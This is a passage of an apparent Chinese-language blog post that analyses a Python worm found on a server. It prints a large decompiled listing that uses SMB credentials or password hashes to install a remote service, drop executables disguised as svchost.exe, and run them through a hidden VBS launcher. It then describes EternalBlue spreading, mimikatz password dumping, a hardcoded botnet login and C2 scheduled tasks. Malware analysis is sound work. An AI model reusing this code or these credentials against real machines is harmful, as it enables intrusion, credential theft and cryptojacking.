  1458. def connectPipe(self):
  1459. try:
  1460. self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
  1461. user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
  1462. if self.transport.get_kerberos() is True:
  1463. self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
  1464. else:
  1465. self.server.login(user, passwd, domain, lm, nt)
  1466. self.tid = self.server.connectTree('IPC$')
  1467. self.server.waitNamedPipe(self.tid, self.pipe)
  1468. self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=64, fileAttributes=128)
  1469. self.server.setTimeout(1000)
  1470. except:
  1471. logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
  1472. class RemoteStdOutPipe(Pipes):
  1473. def __init__(self, transport, pipe, permisssions):
  1474. Pipes.__init__(self, transport, pipe, permisssions)
  1475. def run(self):
  1476. global LastDataSent
  1477. self.connectPipe()
  1478. return
  1479. while True:
  1480. try:
  1481. ans = self.server.readFile(self.tid, self.fid, 0, 1024)
  1482. except:
  1483. pass
  1484. else:
  1485. try:
  1486. if ans != LastDataSent:
  1487. sys.stdout.write(ans.decode('cp437'))
  1488. sys.stdout.flush()
  1489. else:
  1490. LastDataSent = ''
  1491. if LastDataSent > 10:
  1492. LastDataSent = ''
  1493. except:
  1494. pass
  1495. class RemoteStdErrPipe(Pipes):
  1496. def __init__(self, transport, pipe, permisssions):
  1497. Pipes.__init__(self, transport, pipe, permisssions)
  1498. def run(self):
  1499. self.connectPipe()
  1500. return
  1501. while True:
  1502. try:
  1503. ans = self.server.readFile(self.tid, self.fid, 0, 1024)
  1504. except:
  1505. pass
  1506. else:
  1507. try:
  1508. sys.stderr.write(str(ans))
  1509. sys.stderr.flush()
  1510. except:
  1511. pass
  1512. class RemoteStdInPipe(Pipes):
  1513. def __init__(self, transport, pipe, permisssions, share=None):
  1514. self.shell = None
  1515. Pipes.__init__(self, transport, pipe, permisssions, share)
  1516. return
  1517. def run(self):
  1518. self.connectPipe()
  1519. return
  1520. self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
  1521. self.shell.cmdloop()
  1522. class StrReader:
  1523. def __init__(self, str):
  1524. self.__str = str
  1525. def close(self):
  1526. pass
  1527. def read(self, size=1024):
  1528. ret_str = self.__str[:size]
  1529. self.__str = self.__str[size:]
  1530. return ret_str
  1531. class PSEXEC:
  1532. KNOWN_PROTOCOLS = {'445/SMB': ('ncacn_np:%s[\\pipe\\svcctl]', 445)}
  1533. def __init__(self, copyFile=None, exeFile=None, cmd='', username='', password='', domain='', fr='', hashes=None, aesKey=None, doKerberos=False):
  1534. self.__username = username
  1535. self.__password = password
  1536. self.__protocols = PSEXEC.KNOWN_PROTOCOLS.keys()
  1537. self.__command = cmd
  1538. self.__domain = domain
  1539. self.__fr = fr
  1540. self.__lmhash = ''
  1541. self.__nthash = ''
  1542. self.__path = None
  1543. self.__aesKey = aesKey
  1544. self.__exeFile = exeFile
  1545. self.__copyFile = copyFile
  1546. self.__doKerberos = doKerberos
  1547. if hashes is not None:
  1548. self.__lmhash, self.__nthash = hashes.split(':')
  1549. return
  1550. def run(self, addr):
  1551. for protocol in self.__protocols:
  1552. protodef = PSEXEC.KNOWN_PROTOCOLS[protocol]
  1553. port = protodef[1]
  1554. logging.info('Trying protocol %s...\n' % protocol)
  1555. stringbinding = protodef[0] % addr
  1556. rpctransport = transport.DCERPCTransportFactory(stringbinding)
  1557. rpctransport.set_dport(port)
  1558. if hasattr(rpctransport, 'set_credentials'):
  1559. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
  1560. rpctransport.set_kerberos(self.__doKerberos)
  1561. self.doStuff(rpctransport)
  1562. def openPipe(self, s, tid, pipe, accessMask):
  1563. pipeReady = False
  1564. tries = 50
  1565. while pipeReady is False and tries > 0:
  1566. try:
  1567. s.waitNamedPipe(tid, pipe)
  1568. pipeReady = True
  1569. except:
  1570. tries -= 1
  1571. time.sleep(2)
  1572. if tries == 0:
  1573. logging.critical('Pipe not ready, aborting')
  1574. raise
  1575. fid = s.openFile(tid, pipe, accessMask, creationOption=64, fileAttributes=128)
  1576. return fid
  1577. def connectPipe(rpctransport, pipe, permisssions):
  1578. transport = rpctransport
  1579. server = SMBConnection('*SMBSERVER', transport.get_smb_connection().getRemoteHost(), sess_port=transport.get_dport(), preferredDialect=dialect)
  1580. user, passwd, domain, lm, nt, aesKey, TGT, TGS = transport.get_credentials()
  1581. if transport.get_kerberos() is True:
  1582. server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
  1583. else:
  1584. server.login(user, passwd, domain, lm, nt)
  1585. tid = server.connectTree('IPC$')
  1586. server.waitNamedPipe(tid, pipe)
  1587. fid = self.server.openFile(tid, pipe, permissions, creationOption=64, fileAttributes=128)
  1588. server.setTimeout(6000)
  1589. return server
  1590. def doStuff(self, rpctransport):
  1591. global LastDataSent
  1592. global dialect
  1593. dce = rpctransport.get_dce_rpc()
  1594. try:
  1595. dce.connect()
  1596. except Exception as e:
  1597. return False
  1598. dialect = rpctransport.get_smb_connection().getDialect()
  1599. try:
  1600. unInstalled = False
  1601. s = rpctransport.get_smb_connection()
  1602. s.setTimeout(30000)
  1603. installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
  1604. installService.install()
  1605. if self.__copyFile:
  1606. try:
  1607. installService.copy_file(self.__copyFile, installService.getShare(), 'temp\\svchost.exe')
  1608. except:
  1609. print 'file exist'
  1610. tid = s.connectTree('IPC$')
  1611. fid_main = self.openPipe(s, tid, '\\RemCom_communicaton', 1180063)
  1612. packet = RemComMessage()
  1613. pid = os.getpid()
  1614. packet['Machine'] = ('').join([random.choice(string.letters) for _ in range(4)])
  1615. packet['ProcessID'] = pid
  1616. if self.__exeFile:
  1617. if self.__fr == '1':
  1618. installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\updll.exe')
  1619. self.__command = self.__command.replace('"', '""')
  1620. vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\updll.exe",0 \n ' % self.__command
  1621. elif self.__fr == '3':
  1622. installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\setup-install.exe')
  1623. self.__command = self.__command.replace('"', '""')
  1624. vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\setup-install.exe",0 \n ' % self.__command
  1625. else:
  1626. installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\upinstalled.exe')
  1627. self.__command = self.__command.replace('"', '""')
  1628. vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\upinstalled.exe",0 \n ' % self.__command
  1629. installService.copy_file(StrReader(vbs_cmd.strip()), installService.getShare(), 'temp\\tmp.vbs')
  1630. self.__command = 'cmd /c call "c:\\windows\\temp\\tmp.vbs"'
  1631. packet['Command'] = self.__command
  1632. print self.__command
  1633. s.writeNamedPipe(tid, fid_main, str(packet))
  1634. LastDataSent = ''
  1635. stdin_pipe = RemoteStdInPipe(rpctransport, '\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
  1636. stdin_pipe.start()
  1637. stdout_pipe = RemoteStdOutPipe(rpctransport, '\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
  1638. stdout_pipe.start()
  1639. stderr_pipe = RemoteStdErrPipe(rpctransport, '\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
  1640. stderr_pipe.start()
  1641. time.sleep(1)
  1642. installService.uninstall()
  1643. s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
  1644. unInstalled = True
  1645. return True
  1646. except SystemExit:
  1647. return False
  1648. except:
  1649. if unInstalled is False:
  1650. time.sleep(1)
  1651. installService.uninstall()
  1652. s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
  1653. return False
  1654. ```
  1655. # 行为分析
  1656. 那这个代码都干了些什么呢?首先动态分析一下吧,我用微步云沙箱检查了一下,不过好像有人已经上传过了,[这个是报告](https://s.threatbook.com/report/file/60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d)。好像也没啥特别的,先给445端口开了个防火墙,估计是防止其他人利用永恒之蓝入侵,然后整了几个请求几个“beahh.com”域名的定时任务,另外就是同网段扫描啥的,应该是找其他机器继续尝试用漏洞入侵感染这个木马。
  1657. 之后再看看代码,干的基本上确实是这些事情,主要就是利用永恒之蓝漏洞然后各种扫描,似乎有创假的系统用户的操作,不过没太看懂,扫描的时候除了用漏洞和弱密码之外好像还用了个“k8h3d:k8d3j9SjfS7”的用户?这是连别家的僵尸网络的节点吧,入侵完还给它删了🤣,还有加定时任务,然后用mimikatz把这台机器的密码存到“c:\windows\temp\mkatz.ini”这个文件里,扫描的时候也使用这里获取的密码,可能是考虑有些集群全都用一样的用户名和密码吧。木马的作者应该会利用那些定时任务发布指令,有可能会把密码拿走或者干别的事情吧。
  1658. 不过定时任务里写的那个地址已经访问不到了(就连获取IP的接口也请求不通了),我在网上搜了一下看行为应该是这个[搞门罗币挖矿的木马](https://blog.checkpoint.com/2019/03/19/check-point-forensic-files-monero-cryptominer-campaign-cryptojacking-crypto-apt-hacking/),代码里没有体现,有可能是那个域名对应的远控服务器干的。不过这篇文章是2019年的,估计作者已经进去了吧,所以访问不到服务器😂,但是5年过去了,他的木马还在忠实的为他寻找肉鸡并等待他发布指令😭,这就是僵尸网络的魅力吧。
  1659. # 感想
  1660. 用Python写的木马也挺有意思啊,这个代码中用到“[impacket](https://github.com/fortra/impacket)”库我还是头一次了解,看起来可以封装各种各样的网络包,感觉说不定会有项目能用得上,看这个代码也是学到了啊……
  1661. 如果我能有属于自己的僵尸网络能不能让我的项目永存呢?不过这些感染了木马的老服务器总有一天会被淘汰掉,新的服务器肯定不会装Windows Server 2008这样超老的系统 ~~(我除外🤣)~~ ,而且现在新的系统漏洞越来越少了,想要出现像当年永恒之蓝那样的漏洞估计不太可能了,在未来估计就不会存在僵尸网络了……所以这还是做不到永存啊……

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